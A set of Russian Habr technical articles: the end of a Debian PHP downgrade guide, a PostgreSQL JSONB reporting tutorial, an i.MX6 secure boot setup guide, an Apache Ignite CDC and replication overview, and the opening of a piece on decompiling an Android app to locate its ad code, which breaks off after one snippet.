# aptitude remove `dpkg -l | grepphp| awk '{print $2}' |tr "\n" " "`
```
2) Открываем наш:
```
sources.list
# vi /etc/apt/sources.list
```
Добавлем репозиторий от lenny deb:
```
http://archive.debian.org/debian/ lenny main contrib non-free
и закрываем.
```
3) Далее необходимо расставить приоритеты работы службы apt. Открываем:
```
# vi /etc/apt/preferences
```
И прописываем туда следующее:
```
Package: php5*
Pin: release a=oldstable
Pin-Priority: 700
Package: *
Pin: release a=stable
Pin-Priority: 600
```
4) Устанавливаем php:
```
# apt-get update
# apt-get -t oldstable install `dpkg -l | grep php5| awk '{print $2}' |tr "\n" " "`
```
Возможно, на этом этапе вылезут зависимости, но их можно очень легко исправить, доустановив необходимое.
5) Проверяем версию и перезагружаем апач:
```
# dpkg -l | grep php5
# /etc/init.d/apache2 restart
```
На этом установка окончена.
Данный способ был опробован на сервере с ISPManager и DebianLenny 5 – всё прекрасно завелось.
Если планируется устанавливать сервер «с нуля», то при установке php, в принципе, пропадает только один шаг – удаление старой версии. А так всё сохраняется.
Будем надеяться, что данная статья поможет Вам!
**Автор:** Роман Малиновский, руководитель службы технической поддержки хостинг-проекта Unlimits Telecom.
Оригинал [статьи](http://slashdot.org/journal/281515/debian-lenny-5-ended) на английском, опубликованной на [slashdot.org](http://slashdot.org/journal/281515/debian-lenny-5-ended)
UPD: Спасибо **tbicr** за найденную неточность:
```
# apt-getpurgesplashy
```
заменяем на:
```
# apt-get purge splashy
```
и
```
#aptitude remove `dpkg -l | grepphp| awk '{print $2}' |tr "\n" " "`
```
заменяем на:
```
# aptitude remove `dpkg -l | grepphp | awk '{print $2}' |tr "\n" " "`
``` | https://habr.com/ru/post/142413/ | null | ru | null |
# Проектирование в PostgreSQL документо-ориентированного API: Комплексные запросы (Часть 4)
Хранение документов в Postgres немного проще, теперь у нас есть [серьезные процедуры сохранения](http://habrahabr.ru/post/272395/), возможность запускать [полнотекстовый поиск](http://habrahabr.ru/post/272411/), и некоторые простые [процедуры поиска и фильтрации](http://habrahabr.ru/post/272545/).
Это только половина истории, конечно же. Рудиментарные поиски могут служить нуждам приложения, но они никогда не будут работать в долгой перспективе, когда нам надо будет задавать более глубокие вопросы.
#### **Исходный документ**
Хранение документов является очень большой темой. То, как хранить документ (и что хранить), для меня, разделяется на три области:
* Модель документа/домена. Взгляд на все это со стороны разработчика, но если вы поклонник DDD(Domain Driven Design), то это играет роль.
* Реальный мир. Счета, покупки, заказы — бизнес работает на этих вещах — давайте задумаемся над этим.
* Транзакции, результаты процесса, источники событий. На самом деле, когда «что-то происходит» с приложением, вы отслеживаете все, что происходило при этом и храните это.
Я очень тяготею к последнему. Я информационный накопитель и когда что-то случается, я хочу знать что/почему/где до любых пределов.
Вот что я раньше делал, чтобы сохранять информацию о людях, покупающих что-нибудь в Tekpub. Это формат документа, который я собирался пустить в дело, но так и не дошел до этого (из-за распродажи на Plularsight).
```
{
"id": 1,
"items": [
{
"sku": "ALBUM-108",
"grams": "0",
"price": 1317,
"taxes": [],
"vendor": "Iron Maiden",
"taxable": true,
"quantity": 1,
"discounts": [],
"gift_card": false,
"fulfillment": "download",
"requires_shipping": false
}
],
"notes": [],
"source": "Web",
"status": "complete",
"payment": {
//...
},
"customer": {
//...
},
"referral": {
//...
},
"discounts": [],
"started_at": "2015-02-18T03:07:33.037Z",
"completed_at": "2015-02-18T03:07:33.037Z",
"billing_address": {
//...
},
"shipping_address": {
//...
},
"processor_response": {
//...
}
}
```
Это **большой документ**. Я *люблю* большие документы! Этот документ — точный результат всех движений информации в процессе оформления заказа:
* Адреса клиента (для выставления счета, для доставки)
* Платежная информация и что было куплено
* Как они сюда попали и краткая информация о том, что произошло на их пути (в виде заметок)
* Точный ответ от процессора (который сам по себе является большим документом)
Я хочу, чтобы этот документ был автономным, самодостаточным объектом, которому не нужны никакие другие документы, чтобы быть завершенным. Другими словами, я хотел бы быть способным:
* Осуществлять заказ
* Запускать некоторые отчеты
* Оповещать клиента об изменениях, выполнении и т.д.
* Принимать дальнейшие меры, если потребуется (списание, отмена)
Этот документ является завершенным сам по себе и это прекрасно!
ОК, достаточно, давайте напишем некоторые отчеты.
#### **Формирование данных. Фактическая таблица**
Поводя аналитику важно помнить две вещи:
* **Никогда не проводите ее на работающей системе**
* Денормализация — это норма
Выполнение огромных запросов по объединенным таблицам занимает вечность, и это ни к чему не приводит в конечном счете. Вам следует строить отчеты на исторических данных, которые не меняются (или меняются совсем мало) со временем. Денормализация помогает со скоростью, и скорость — ваш друг при построении отчетов.
Учитывая это, мы должны использовать доброту PostgreSQL чтобы сформировать наши данные в **таблицу фактов продаж**. «Фактическая» таблица — это просто денормализованный набор данных, который представляет *событие* в вашей системе — самый маленький объем усваиваемой информации о *факте*.
Для нас этот факт — продажа, и мы хотим чтобы это событие выглядело так:
*Я использую [образец базы Chinook](https://chinookdatabase.codeplex.com/) с некоторыми случайными данными о продажах, созданными при помощи [Faker](https://github.com/marak/Faker.js/).*
Каждая из этих записей — это единичное событие, которые я хочу накапливать, и вся информация о размерности, с которой я хочу их объединять (время, поставщик) — уже включены. Я могу добавить больше (категорию и т.д.), но пока хватит и этого.
Эти данные в находятся табличной форме, это означает что мы должны их добывать из документа, показанного выше. Задача не из легких, но намного проще, поскольку мы используем PostgreSQL:
```
with items as (
select body -> 'id' as invoice_id,
(body ->> 'completed_at')::timestamptz as date,
jsonb_array_elements(body -> 'items') as sale_items
from sales
), fact as (
select invoice_id,
date_part('quarter', date) as quarter,
date_part('year', date) as year,
date_part('month', date) as month,
date_part('day', date) as day,
x.*
from items, jsonb_to_record(sale_items) as x(
sku varchar(50),
vendor varchar(255),
price int,
quantity int
)
)
select * from fact;
```
Это набор обобщенных табличных выражений (ОТВ), объединенных вместе функциональным образом (об этом ниже). Если вы никогда не использовали ОТВ — они могут выглядеть немного непривычно… пока вы не приглядитесь и не поймете, что вы просто объединяете вещи вместе именами.
В первом запросе выше, я вытягиваю **id** продажи и называю его **invoice\_id**, и после этого вытягиваю **timestamp** и конвертирую его в **timestampz**, Несложные действия по своей сути.
Что становится интереснее здесь — это **jsonb\_array\_elements**, который вытягивает массив объектов из документа и создает запись для каждого из них. То есть, если бы мы имели в базе единственный документ, с тремя объектами и запустили бы следующий запрос:
```
select body -> 'id' as invoice_id,
(body ->> 'completed_at')::timestamptz as date,
jsonb_array_elements(body -> 'items') as sale_items
from sales
```
Вместо одной записи, представляющей продажу, мы получили бы 3:
Теперь, когда мы выделили объекты, нам необходимо разделить их по отдельным колонкам. Вот тут и появляется следующая хитрость с **jsonb\_to\_record**. Мы можем сразу использовать эту функцию, описывая значения типов на лету:
```
select * from jsonb_to_record(
'{"name" : "Rob", "occupation": "Hazard"}'
) as (
name varchar(50),
occupation varchar(255)
)
```
В этом простом примере я конвертирую **jsonb** в таблицу — мне всего лишь достаточно сказать PostgreSQL как это сделать. Это именно то, что мы и делаем во втором ОТВ («событие») выше. Также, мы используем **date\_part** чтобы конвертировать даты.
Это дает нам таблицу событий, которую мы можем сохранить в представление, если мы:
```
create view sales_fact as
-- the query above
```
Вы можете подумать, что этот запрос ужасно медленный. На самом же деле, он достаточно быстрый. Это не является какой-то отметкой уровня, или чем-то вроде того — просто относительный результат, чтобы показать вам, что этот запрос, на самом деле, быстрый. У меня имеется 1000 тестовых документов в базе, выполнение этого запроса на всех документах возвращается приблизительно за десятую долю секунды:
PostgreSQL. Классная вещь.
Теперь мы готовы к некоторым накоплениям!
#### **Отчет о продажах**
Дальше все проще. Вы просто объединяете данные, которые хотите, и если вы про что-то забыли — просто добавляете это к своему представлению и не надо заботиться ни о каких объединениях таблиц. Просто преобразование данных, которое действительно происходит быстро.
Давайте посмотрим пятерку лучших продавцов:
```
select sku,
sum(quantity) as sales_count,
sum((price * quantity)/100)::money as sales_total
from sales_fact
group by sku
order by salesCount desc
limit 5
```
Этот запрос возвращает данные за 0.12 секунды. Достаточно быстро для 1000 записей.
#### **ОТВ и функциональные запросы**
Одна из вещей, которая мне действительно нравится в **RethinkDB** это ее собственный язык запросов, ReQL. Он вдохновлен Haskell (в соответствии с командой) и весь заключается в композиции (особенно для меня):
> Чтобы понять ReQL, он помогает понять функциональное программирование. Функциональное программирование входит в декларативную парадигму, в которой программист стремится описать значение, которое он хочет посчитать, нежели описывать шаги, необходимые для подсчета этого значения. Языки запросов баз данных, как правило, стремится к декларативному идеалу, что при этом дает обработчику запросов наибольшую свободу в выборе оптимального плана выполнения. Но пока SQL добивается этого используя специальные ключевые слова и специфический декларативный синтаксис, ReQL имеет возможность выразить сколь угодно сложные операции через функциональную композицию.
Как можно видеть выше, мы можем аппроксимировать это, используя ОТВ, объединенные вместе, каждое из которых преобразует данные специфическим путем.
#### **Заключение**
Есть еще много всего, что я мог бы написать, но давайте просто подытожим это все тем, что вы можете делать *все, что умеют делать другие документо-ориентированные системы* и даже больше.[Возможности запросов в Postgres очень велики](http://habrahabr.ru/post/258153/) — есть очень малый список вещей, которые вы не сможете сделать и, как вы видели, возможность преобразовывать Ваш документ в в табличную структуру очень помогает.
И это конец этой маленькой серии статей. | https://habr.com/ru/post/272675/ | null | ru | null |
# Безопасная загрузка в i.MX6
Безопасная загрузка в i.MX6
---------------------------
Разрабатывая любой проект для встроенных систем разработчик должен решать два дополнительных вопроса:
* Как защитить прошивку от подмены в изделии;
* Как защитить ПО от копирования.
В данной статье описано как защитить процессор i.MX6 от подмены загрузчика в изделии и усложнить процесс копирования прошивки.
### Введение
Для защиты интеллектуальной собственности в случае если проект bare metal [1] в основном помогает комплекс аппаратных средств, как присутствующих в микроконтроллере, так и внешних. Примеры приведены на уважаемом сайте [[2]](http://we.easyelectronics.ru/Soft/zaschita-ustroystva-ot-vzloma-i-kopirovaniya.html). Дополнительные программные методы, такие как [[3]](https://habr.com/ru/post/350602/) применяются, однако основаны они на неизвестности механизма защиты. Связано это с невысокой вычислительной мощностью устройств и неудобством реализации динамической генерации прошивок.
Когда в дело приходят SoC с операционными системами наподобие Linux, защиту необходимо организовывать одновременно на нескольких уровнях:
* Уровень конечного приложения
* Уровень операционной системы
* Уровень загрузчика
В случае получения доступа на любом из уровней, достаточно легко влиять на ПО дальнейших уровней и внести изменения в межуровневые взаимодействия.
> Простейшие примеры: Ваше ПО установленное на Linux общается по протоколу UART (например через /dev/ttyACM0) с микроконтроллером. Злоумышленник получив доступ в систему использует тот же ресурс UART и повторяет случайные отправленные посылки. Или например если драйвер встроен в ядро, злоумышленник перекомпилирует ядро переписав код драйвера UART другим способом. Конечное приложение не узнает о происходящем.
### Что такое secure boot и зачем он нужен?
Первым уровнем защиты вашего ПО на целевой системе служит secure boot. Здесь и далее secure boot объясняется для процессоров семейства i.MX6.
Secure boot в i.MX6 реализуется через High assurance boot (HAB) и может выполнять две функции:
* безопасная загрузка,
* зашифрованная загрузка.
В статье я опишу процесс обеспечения безопасной загрузки процессора. В i.MX6 реализован и алгоритм обеспечивающий шифрование загрузчика. Однако его использование требует генерации уникального загрузчика для каждого изделия, так как используется уникальная для каждого процессора функция шифрования. Это неудобная процедура в серии, поэтому я не стал ее описывать. Если вам будет что сказать на эту тему, буду рад услышать.
> Безопасная загрузка **пытается** обеспечить, чтобы на вашем изделии запускался загрузчик, с ядром которые именно **вы** в него загрузили.
О определении которое я дал secure boot. Secure boot не спасает вас от копирования изделия. Да, это делает процедуру сложнее, но незначительно. Загрузчик не может подписать всю ФС, следовательно не дает защиты на уровне ОС и на уровне конечного приложения. Работает это все классически: через ассиметричное шифрование. Я опишу процесс на пальцах, более глубоко это можно прочитать в [4]. В загрузчике указывается скрипт для HAB, где указаны подписанные области памяти, и где лежит цифровая подпись. Публичный ключ заранее размещается в One time programmable (OTP) памяти процессора. При загрузке скрипт проверяет указанную область памяти при помощи прикрепленной цифровой подписи и вшитого ключа. Если проверка не осуществилась, процессор не начинает загрузку. Работу HAB необходимо активировать тоже установив бит в регионе OTP памяти.
Недостатки secure boot:
* Если HAB не активирован, прошивка все равно запустится. Это значит, что без доп. методов защиты ваша прошивка запустится на копии изделия. Для того, чтобы этого не происходило, загрузчик должен самостоятельно активировать HAB при запуске. Но тогда вставив в другое изделие флешку и забыв прошить публичный ключ, вы можете выкинуть процессор.
* При доступе к памяти процессора, можно скопировать публичный ключ, этого достаточно для копирования изделия.
### Реализация
Вообще в интернете есть достаточно много англоязычных статей [[5]](http://variwiki.com/index.php?title=High_Assurance_Boot)[[6]](https://boundarydevices.com/high-assurance-boot-hab-dummies/) на тему реализации, но ни один предложенный метод у меня сразу не взлетел, а ссылки с ПО начали умирать, поэтому я решил сохранить это как статью в первую очередь для себя, когда я вернусь к данному вопросу в будущем.
Для начала необходимо скачать следующее ПО: code signing tool [[7]](https://github.com/BMValeev/CST_TOOL) и необходимые скрипты для генерации ключей и подписывания. В указанном архиве я убрал все лишние утилиты и библиотеки, так как там достаточно много неиспользуемого для нашей задачи.
Далее необходимо сгенерировать ключи:
```
cd ${CST_PATH}/release/keys
echo ${serial} > serial //8 цифр, число необходимо для генерации сертификата
echo ${password} > key_pass.txt // Ввод пароля дважды, служит для защиты приватного ключа
echo ${password} >> key_pass.txt //
./hab4_pki_tree.sh // запуск скрипта для генерации ключей
Do you want to use an existing CA key (y/n)?: n
Do you want to use Elliptic Curve Cryptography (y/n)?: n
Enter key length in bits for PKI tree: 4096
Enter PKI tree duration (years): 10
How many Super Root Keys should be generated? 4
Do you want the SRK certificates to have the CA flag set? (y/n)?: y
../linux64/bin/srktool -h 4 -t SRK_1_2_3_4_table.bin -e SRK_1_2_3_4_fuse.bin \
-d sha256 -c ./SRK1_sha256_4096_65537_v3_ca_crt.pem,\
./SRK2_sha256_4096_65537_v3_ca_crt.pem,./SRK3_sha256_4096_65537_v3_ca_crt.pem,\
./SRK4_sha256_4096_65537_v3_ca_crt.pem -f 1
```
Скрипт генерации ключей вызывает указанные выше вопросы. Я привел пример стандартных опций. От ответа на них зависит как будут называться сгенерированные ключи и параметры сгенерированных ключей. Учитывайте при дальнейших командах. Далее считываем публичный ключ, необходимый для записи в процессор. Воспользуемся для этого удобным скриптом от [[5]](http://variwiki.com/index.php?title=High_Assurance_Boot).
```
cd ${CST_PATH}/release/linux64/bin
./var-u-boot_fuse_commands.sh
fuse prog 3 0 0xFFFFFFFF //Результат в командах uboot.
fuse prog 3 1 0xFFFFFFFF //Эти команды можно сразу забивать
fuse prog 3 2 0xFFFFFFFF // остановив процедуру загрузки и войдя в консоль.
fuse prog 3 3 0xFFFFFFFF // Важно - память однократно программируемая.
fuse prog 3 4 0xFFFFFFFF // Второй попытки у вас не будет.
fuse prog 3 5 0xFFFFFFFF //
fuse prog 3 6 0xFFFFFFFF //
fuse prog 3 7 0xFFFFFFFF //
```
Данная задача может быть применена для uboot c интегрированным SPL или с раздельным SPL и uboot (релиз rocko например). Я пишу релиз для того, чтобы вы знали где они используются стандартно. Если вы будете компилировать uboot сами, то скорее всего у вас SPL будет интегрирован в uboot. **Важный момент**, в defconfig загрузчика необходимо добавить следующие опции:
```
CONFIG_SECURE_BOOT=y
CONFIG_SYS_FSL_HAS_SEC=y
#define CONFIG_SYS_FSL_SEC_COMPAT 4 /* HAB version */
#define CONFIG_FSL_CAAM
#define CONFIG_CMD_DEKBLOB
#define CONFIG_SYS_FSL_SEC_LE
#define CONFIG_FAT_WRITE
```
Эти опции активируют драйвера для работы с аппаратными модулями. Все как в menuconfig для Linux. При компиляции загрузчика используйте verbose mode (убрать V=1. В гайде написана сборка с этим параметром. Однако я у себя убирал). В таком случае в логи при компиляции добавляется информация о адресе точки входа и прочих вещей необходимых для записи цифровой подписи. После компиляции нам необходимы следующие выходные файлы:
* u-boot-ivt.img
* u-boot-ivt.img.log
* SPL
* SPL.log
копируете их в ${CST\_PATH}/release/linux64/bin. Дальше необходимо выполнить достаточно простой скрипт.
**Подробное описание процедуры скрипта**Вам необходимо сформировать файл командной последовательности подписи (\*.csf). Сам по себе файл стандартный, но в нем необходимо добавить три параметра:
* Точка входа
* Смещение
* Количество байт для подписи.
Эти данные нужно получить из лога компилятора. После компиляции загрузчика, он создает файл лога в который записывает смещения (В случае если вывод компилятора полный).
Примеры смещений:
```
Image Name: U-Boot 2019 // Для U-boot
Created: XXXXXX
Image Type: ARM U-Boot Firmware with HABv4 IVT (uncompressed)
Data Size: 339904 Bytes = 331.94 KiB = 0.32 MiB
Load Address: 17800000
Entry Point: 00000000
HAB Blocks: 0x177fffc0 0x0000 0x00051020
Image Type: Freescale IMX Boot Image // Для SPL
Image Ver: 2 (i.MX53/6/7 compatible)
Mode: DCD
Data Size: 61440 Bytes = 60.00 KiB = 0.06 MiB
Load Address: 00907420
Entry Point: 00908000
HAB Blocks: 00907400 00000000 0000cc00
DCD Blocks: 00910000 0000002c 00000004
```
Нам нужны адреса «HAB Blocks». После завершения процедуры записи, вы генерируете подпись следующей командой и соединяете подпись с загрузчиком
```
cd ${CST_PATH}/release/linux64/bin
./cst --o u-boot_csf.bin --i u-boot.csf
cat u-boot-ivt.img u-boot_csf.bin > u-boot_signed.img
```
Насколько я помню в случае с интегрированным SPL скорее всего все так же будет работать, но стоит это проверить. Я сейчас уже не помню и не стал из-за этого компилировать при написании статьи.
```
cd ${CST_PATH}/release/linux64/bin
SOC=mx6 ./var-som_sign_image.sh SPL u-boot-ivt.img
```
По итогам скрипта вы получите два файла: SPL\_signed, u-boot-ivt.img\_signed которые необходимо записать на диск целевой системы. Пример скрипта записи на целевую систему прикладываю. Без sudo, чтобы случайно не выстрелило вам в ногу.
```
dd if=SPL_signed of=${DEVICE(/dev/sd*)} bs=1K seek=1; sync
dd if=u-boot-ivt.img_signed of=${DEVICE(/dev/sd*)} bs=1K seek=69; sync
```
Записав на чистый носитель вы должны получить загрузчик без ядра, который упадет в консоль, так как не найдет dtb и ядро. В консоли вы можете проверить собственно работает ли то, что вы сделали или не очень. При наличии event — что-то пошло не так. **Важно:** если загрузчик скомпилирован без поддержки HAB, ошибок тоже не будет.
```
hab_status
HAB Configuration: 0xf0, HAB State: 0x66
No HAB Events Found!
```
Последним шагом служит активация HAB, внимание команда однократная, исправить ее нельзя, так что будьте осторожны
```
fuse prog 0 6 0x2
```
### Заключение
Я не стал описывать процесс интеграции всего этого в yocto, должны же у меня остаться секреты. Однако это реализуемо и не требует много времени.
### Справка
[1] bare metal- встроенное программное обеспечение, которое напрямую работает на аппаратном обеспечении без какой либо абстракции в виде операционных систем
[2] [we.easyelectronics.ru/Soft/zaschita-ustroystva-ot-vzloma-i-kopirovaniya.html](http://we.easyelectronics.ru/Soft/zaschita-ustroystva-ot-vzloma-i-kopirovaniya.html)
[3] [habr.com/ru/post/350602](https://habr.com/ru/post/350602/)
[4] HAB4\_API.pdf в [github.com/BMValeev/CST\_TOOL](https://github.com/BMValeev/CST_TOOL)
[5] [variwiki.com/index.php?title=High\_Assurance\_Boot](http://variwiki.com/index.php?title=High_Assurance_Boot)
[6] [boundarydevices.com/high-assurance-boot-hab-dummies](https://boundarydevices.com/high-assurance-boot-hab-dummies/)
[7] [github.com/BMValeev/CST\_TOOL](https://github.com/BMValeev/CST_TOOL) | https://habr.com/ru/post/488638/ | null | ru | null |
# CDC и логическая репликация для баз данных, реализованных на стеке open source-решений
Привет, Хабр! На связи СберТех — мы создаём Platform V, цифровую платформу Сбера для разработки бизнес-приложений.
В платформу входит более 60 продуктов на базе собственных сборок open source, доработанных до уровня enterprise по функциональности, безопасности, производительности и отказоустойчивости.
В этой статье расскажем про реализацию паттерна Change Data Capture и межкластерной репликации данных в продукте Platform V DataGrid, распределённой in-memory базе данных для высокопроизводительных вычислений. А также об особенностях внедрения функции и вариантах репликации. Написать материал помог наш коллега Николай Ижиков из команды по развитию баз данных на стеке open source.
Что такое Change Data Capture
-----------------------------
Представим, что у вас есть база данных с критичными для бизнеса данными и жёсткими SLA по чтению и записи.
В то же время есть компоненты системы, которым необходимо реагировать на изменения в данных, например на уведомления о поступлении нового заказа, изменение данных пользователя и т. д. Таких компонентов много, и со временем их количество только растёт.
Если база уже нагруженная, навешивать на микросервис, создающий заказ, синхронную обработку или писать хранимую процедуру нерационально — увеличим тайминги по ответам, вероятен риск нарушения SLA.
И тут на помощь приходит паттерн Change Data Capture или CDC.
Когда в базу данных вносятся изменения, для ускорения записи и оптимизации операций она пишет журнал изменений (UNDO, REDO логи). В него база данных последовательно записывает дельту, которую вы изменяете.
CDC — это приложение, которое умеет обрабатывать логи изменений, выделять из них события об изменении данных и уведомлять об этом потребителя изменений, реализующего бизнес-логику.
В результате получаем линейные, упорядоченные по времени события изменений данных: что было, что есть, какая операция, над какой таблицей или кэшем была выполнена. Обработка асинхронная, не триггер и не хранимая процедура. Данные закоммитились, приложение, которое их отправляет, продолжило работать дальше, а потребитель через какое-то время получает уведомление о произошедшем изменении.
Как и когда использовать CDC
----------------------------
• **Стриминг изменений в хранилище данных.** У вас есть DWH. Обычно в режиме реального времени данные в неё поступать не должны. Для перекладывания данных можно написать процедуры, которые будут раз в час или в сутки определять дельту и отправлять её в хранилище. С помощью CDC эти же данные можно перекладывать с меньшими задержками.
* **Постобработка событий.** В системе произошло событие — пользователь зарегистрировался, создал заказ, загрузил новый файл, — и, согласно бизнес-процессу, по новой записи нужно инициировать модерацию или другие действия.
* **Аналитика**. По поступающим в CDC событиям можно считать аналитику в режиме, близком к реальному времени.
* **Логическая репликация**. В CDC у нас на руках есть ВСЕ изменения, которые происходят в базе. Для реализации репликации нужно всего лишь надёжно исполнить их на реплике.
CDC в open source database
--------------------------
*Дизайн*
При любой доработке сложной системы, к которой, очевидно, относится распределённая СУБД, всегда есть риск что-то сломать. Лучший выход — делать новую фичу, вообще не трогая существующие.
Поэтому, проектируя CDC на базе Ignite, команда решила, что ignite-cdc должен выступать как отдельный java-процесс, не влияющий на ноду Ignite.
Ignite в persistence-режиме, как и любая классическая СУБД, записывает изменения в WAL (Write-Ahead Log). WAL — бинарный файл, содержащий изменения, дельты, которые мы периодически пишем в основную память (page memory).
Время от времени WAL-сегмент переходит в архив. Ignite-cdc видит, что появился архивный WAL-сегмент, и обрабатывает его.
Обработка — уведомление потребителя об изменениях. Есть public API для потребителя, но можно написать и свой.
Важно, что при этом нет перерасхода места на диске: WAL-архив — это существующая функциональность, которая нужна для восстановления после сбоев. Ignite-cdc обрабатывает ровно те же сегменты, никаких новых данных на диске не появляется.
Следующий важный момент — возможность сохранять состояние чтения. Ignite-cdc — отдельный процесс, который может падать. Нужно реализовать возможность фиксации состояния потребителя каждый раз, когда он решил, что данные обработаны и можно сохраниться. При падении обработка будет продолжена с места последнего commit-а. К счастью, поддерживать это довольно просто: нужно всего лишь сохранять указатель на том месте в сегменте, на котором чтение остановилось.
Из возможности сохранять состояние следует возможность сделать fail-fast-приложение. При любых проблемах Ignite-cdc падает. Предполагается, что поднимать его будут с помощью ОС-механизмов.
На уровне ноды всё выглядит вот так:
Есть небольшая тонкость: WAL-архив не бесконечный, Ignite складывает в архив столько сегментов, сколько было указано в настройках. При архивации n+1 сегмента самый старый удаляется.
Чтобы избежать ситуаций, когда CDC затормозил и не обработал уже удалённый сегмент, архивный сегмент hard-link’ом переносится в папку, с которой работает только Ignite-cdc.
Если удалим данные из архива, файл останется в папке для СDC, и данные будут доступны.
Если Ignite-cdc обработал сегмент, его можно будет сразу же удалить. Данные исчезнут с диска, когда оба hard-link’а будут удалены.
Приложению понадобятся метрики. API уже есть в Ignite, и его нужно переиспользовать.
*API и настройки*
Для настройки CDC есть три параметра, которые нужно настроить на уровне ноды.
```
public class DataStorageConfiguration {
long walForceArchiveTimeout;
String cdcWalPath;
}
public class DataRegionConfiguration implements Serializable {
boolean cdcEnabled;
}
```
Здесь:
* cdcWalPath — путь к папке, где складываются WAL-сегменты для CDC;
* cdcEnabled — включает CDC для DataRegion’а;
* walForceArchiveTimeout — таймаут принудительной архивации сегмента: даже если сегмент заполнен не полностью, по таймауту он будет архивирован и станет доступным для CDC.
С walForceArchiveTimeout есть тонкость. WAL-архив работает быстро за счёт того, что он является memory-mapped file. Это позволяет фактически писать не на диск, а в память для того, чтобы операционная система сбросила файл или мы могли сделать это вручную, когда сегмент будет заполнен.
Запись на диск — дорогая операция, в момент которой производительность ноды снижается, поэтому, с одной стороны, запись нужно делать как можно реже. С другой — CDC узнаёт об изменениях после архивации сегмента, поэтому запись нужно делать как можно чаще. Противоречие :)
Решить его можно, выбирая таймаут согласно требованиям приложения.
Теперь самое интересное — сonsumer, слушатель, который позволяет узнать и обработать изменения:
```
public interface CdcConsumer {
public void start(MetricRegistry mreg);
public boolean onEvents(Iterator events);
public void onTypes(Iterator types);
public void onMappings(Iterator mappings);
public void stop();
}
```
* start, stop — для инициализации и остановки;
* onEvents — callback для обработки изменений: вернули true — состояние коммитнулось;
* onTypes, onMappings — callback’и для обработки изменений метаинформации о типах.
Что доступно в событии:
```
public interface CdcEvent extends Serializable {
public Object key();
@Nullable public Object value();
public boolean primary();
public int partition();
public CacheEntryVersion version();
public int cacheId();
}
```
* key, value — данные: value может быть null, если событие по remove’у;
* primary — событие произошло на primary или backup;
* partition — номер партиции, необходим для распределения нагрузки в соответствии с существующими в Ignite партициями;
* version — версия entry;
* cacheId — идентификатор кэша.
Таким образом, у нас есть приложение, которое в асинхронном виде получает уведомления обо всех изменениях всех данных внутри кластера Ignite. Теперь на основе этой функциональности мы можем реализовать как необходимые бизнес-функции, так и логическую репликацию.
Логическая репликация с помощью CDC
-----------------------------------
Под физической репликацией в данной статье я понимаю перенос между экземплярами БД внутреннего представления данных: страниц памяти и т. д.
Под логической — выделение потока изменений из базы-источника и его воспроизведение в базе-приёмнике.
CDC позволяет реализовать именно логическую репликацию.
В Ignite есть поддержка двух схем: Ignite to Ignite и Ignite to Kafka.
*Ignite to Ignite*
Внутри Ignite-cdc работает IgniteToIgniteCdcStreamer, кстати, доступный из коробки. Это consumer, который внутри себя поднимает клиентскую ноду Ignite, коннектится к кластеру-приёмнику и, получая изменения, отправляет почти обычную операцию put в кластер-приёмник.
Если кластер-источник недоступен, например из-за упавшей ноды, Ignite-cdc будет вечно ждать, пока нода не запустится. Новые данные не поступят, и процесс обработает те, которые были сгенерированы ещё живой нодой.
Если упал Ignite-cdc, то, во-первых, на всех остальных нодах он будет жив. Во-вторых, через некоторое время операционная система его перезапустит, CDC посмотрит, какие изменения он обработал, и продолжит отправлять их в соседний кластер.
Если потерялся соседний кластер или сетевая связность, Ignite-cdc также упадёт, а после перезапуска снова пойдёт в кластер-приёмник. Если кластер недоступен — падение. Если доступен — отлично, CDC начнёт отправлять в него изменения, которые были накоплены в WAL на диске. Диск является буфером изменений, которые будут копиться до тех пор, пока не получится их обработать и отправить в нужную точку.
*Ignite to Kafka*
Это вариант репликации для ситуаций, когда кластеры Ignite не видят друг друга, нужно использовать Kafka в качестве транспорта, или если есть несколько читателей событий.
Схема практически такая же: для обработки событий используется стример IgniteToKafkaCdcStreamer. Он раскладывает данные по партициям Kafka в соответствии с партициями Ignite.
На стороне приёмника есть приложение kafka-to-ignite — оно читает данные из Kafka и кладёт их в принимающий кластер Ignite.
Conflict resolver
-----------------
Подошли к самому интересному: что произойдёт, если один ключ будет изменён на обоих кластерах?
Ответ — сработает conflict resolver. Это интерфейс, который определяет, какие именно данные должны попасть в кластер. Он может взять «старое», «новое» значение или выполнить merge.
СDC-extension предоставляет дефолтную имплементацию, но можно реализовать и свою. При этом стоит отметить, что правильного решения при конфликтах изменений не существует. Не зная ничего о данных, невозможно точно определить, какое изменение правильное, а какое нет.
**Ключевые свойства дефолтной имплементации:**
1. Если изменение произошло на «локальном» кластере, оно выигрывает.
2. Изменения с одного и того же кластера сравниваются по версии. Изменение с большей версией выигрывает.
3. Если указано поле для сравнения, записи сравниваются по нему.
4. Если всё предыдущее не сработало, новая запись отбрасывается. Данные разъезжаются, в логах warning, а вам нужно думать, что делать дальше.
Заключение
----------
Внедрение паттерна CDC позволило добавить востребованную функциональность для реализации событийных подписок и создания реплик без влияния на производительность ядра самой базы данных. | https://habr.com/ru/post/679028/ | null | ru | null |
# Модификация исходного кода android-приложения с использованием apk-файла
Так уж получилось, что приложение для чтения комиксов и манги, которое я использую на своем android-смартфоне, после обновления стало показывать рекламу в конце каждой главы комикса. Данное приложение пару лет назад было доступно на Google Play (платная версия которого и была мной куплена), но было удалено в силу «нарушения авторских прав», после чего ушло в подполье и стало распространятся через сайт разработчика. Увы, достойных альтернатив этому приложению на android и iOS я не нашел, но и смотреть рекламу особо не было желания, тем более я уже покупал версию без рекламы. Сам разработчик почему-то не сделал возможности отключить ее, а на просьбы добавить такую возможность не отозвался. Поэтому пришлось искать альтернативные методы ее отключения. Первое, что пришло в голову, это то, что android-приложения пишутся на java, а значит есть вероятность, что автор не обфусцировал свое приложение и его можно попытаться декомпилировать. Немного подумав, я приступил к работе.
Для начала был загружен сам [apk-файл приложения](https://bitbucket.org/_vadia/manga-watcher-public/downloads). Затем недолгий поиск по интернету привел меня на сайт <http://www.decompileandroid.com/>. С его помощью можно было загрузить apk-файл с приложением и на выходе получить набор исходников. Увы, декомпиляция в java-классы происходит не совсем идеально и поэтому восстановить полностью сам проект приложения в IDE(Idea) у меня не получилось, но это позволило проанализировать саму структуру проекта и разобраться как он примерно работает. После проведения анализа, было найдено два перспективных метода в классе **BaseReaderFragment.java** – **placeAdViewIfNeeded** и **removeAdViewIfNeeded**.
Код метода placeAdViewIfNeeded:
```
if (adViewPlaced || adView == null)
{
return;
} else
{
viewgroup.setVisibility(0);
android.widget.RelativeLayout.LayoutParams layoutparams = new android.widget.RelativeLayout.LayoutParams(-2, -2);
layoutparams.addRule(13, -1);
viewgroup.addView(adView, layoutparams);
adViewPlaced = true;
AdsHelper.requestNewAd(adView);
return;
}
```
